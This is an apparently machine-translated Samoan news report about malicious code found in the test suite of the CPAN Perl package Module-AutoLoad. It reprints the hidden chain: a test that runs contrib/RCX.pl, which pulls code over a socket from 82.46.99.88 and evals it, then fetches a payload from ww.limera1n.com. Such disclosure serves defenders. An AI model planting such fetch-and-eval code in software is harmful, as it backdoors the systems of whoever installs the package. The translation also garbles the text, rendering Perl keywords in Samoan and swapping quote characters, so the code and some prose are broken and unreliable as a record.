Fa'ailoga leaga na maua i totonu o le Module-AutoLoad Perl package

I totonu o se pusa Perl tufatufaina e ala i le CPAN directory Module-AutoLoad, fuafuaina e otometi ona utaina modules CPAN i luga o le lele, faailoaina tulafono leaga. O le faaofi leaga sa maua i le code su'ega 05_rcx.t, lea na lafo mai talu mai le 2011.
E mata'ina na alia'e mai fesili e uiga i le utaina o le code fesiligia Fuataiga i tua i le 2016.

O gaioiga leaga e mafua i se taumafaiga e sii mai ma faʻatino le code mai se isi vaega lona tolu (http://r.cx:1/) i le taimi o le faʻatinoina o se suʻega suʻega na faʻalauiloa pe a faʻapipiʻi le module. O loʻo faʻapea o le code muamua na sii mai mai le server i fafo e le o se mea leaga, ae o lea ua toe faʻafeiloaʻi le talosaga i le ww.limera1n.com domain, lea e maua ai lana vaega o le code mo le faʻatinoina.

Ina ia faatulaga le download i se faila 05_rcx.t O lo'o fa'aogaina le code lea:

la'u $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
la'u $try = `$^X $prog`;

O le faʻailoga faʻamaonia e mafua ai ona faʻatinoina le tusitusiga ../contrib/RCX.pl, o mea o lo'o i ai ua fa'aititia i le laina:

fa'aaoga le lib do{eval<$b>&&botstrap("RCX") if$b=new IO::Socket::INET 82.46.99.88.":1″};

O lo'o uta lenei tusitusiga le mautonu fa'aaogaina le tautua perlobfuscator.com fa'ailoga mai le 'au i fafo r.cx (fa'ailoga amio 82.46.99.88 e fetaui ma le tusitusiga "R.cX") ma fa'atino i le poloka eval.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1″; lolomi <$b>;'
eval unpack u =>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE....}

A maeʻa ona tatala, e faʻataunuʻu mea nei: code:

lolomi {$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor toe fo'i lapataia$@while$b;1

O le afifi faʻafitauli ua aveese nei mai le fale teu oloa. TAIMI (Perl Authors Upload Server), ma ua poloka le tala a le tusitala module. I lenei tulaga, o loʻo tumau pea le module avanoa i le MetaCPAN archive ma e mafai ona faʻapipiʻi saʻo mai MetaCPAN e faʻaaoga ai nisi faʻaoga e pei o le cpanminus. Ua matauinao le afifi e leʻi faʻasalalau lautele.

Manaia e talanoaina fesootai ma le tusitala o le module, o le na te faafitia le faamatalaga e faapea o le tulafono leaga na faaofiina ina ua uma ona hacked lana saite "r.cx" ma faamatala atu na o le fiafia, ma faaaoga perlobfuscator.com e le nanaina se mea, ae ia faaitiitia le tele. o le code ma fa'afaigofie lona kopiina e ala i le laupapa kilipa. O le filifiliga o le igoa o le galuega "botstrap" o loʻo faʻamatalaina e le mea moni o lenei upu "e foliga mai o le bot ma e puupuu atu nai lo le bootstrap." Na faʻamautinoa foi e le tusitala o le module e le faʻaalia e faʻamatalaga faʻamaonia ni gaioiga leaga, ae na o le faʻaalia o le utaina ma le faʻatinoina o le code e ala i le TCP.

puna: opennet.ru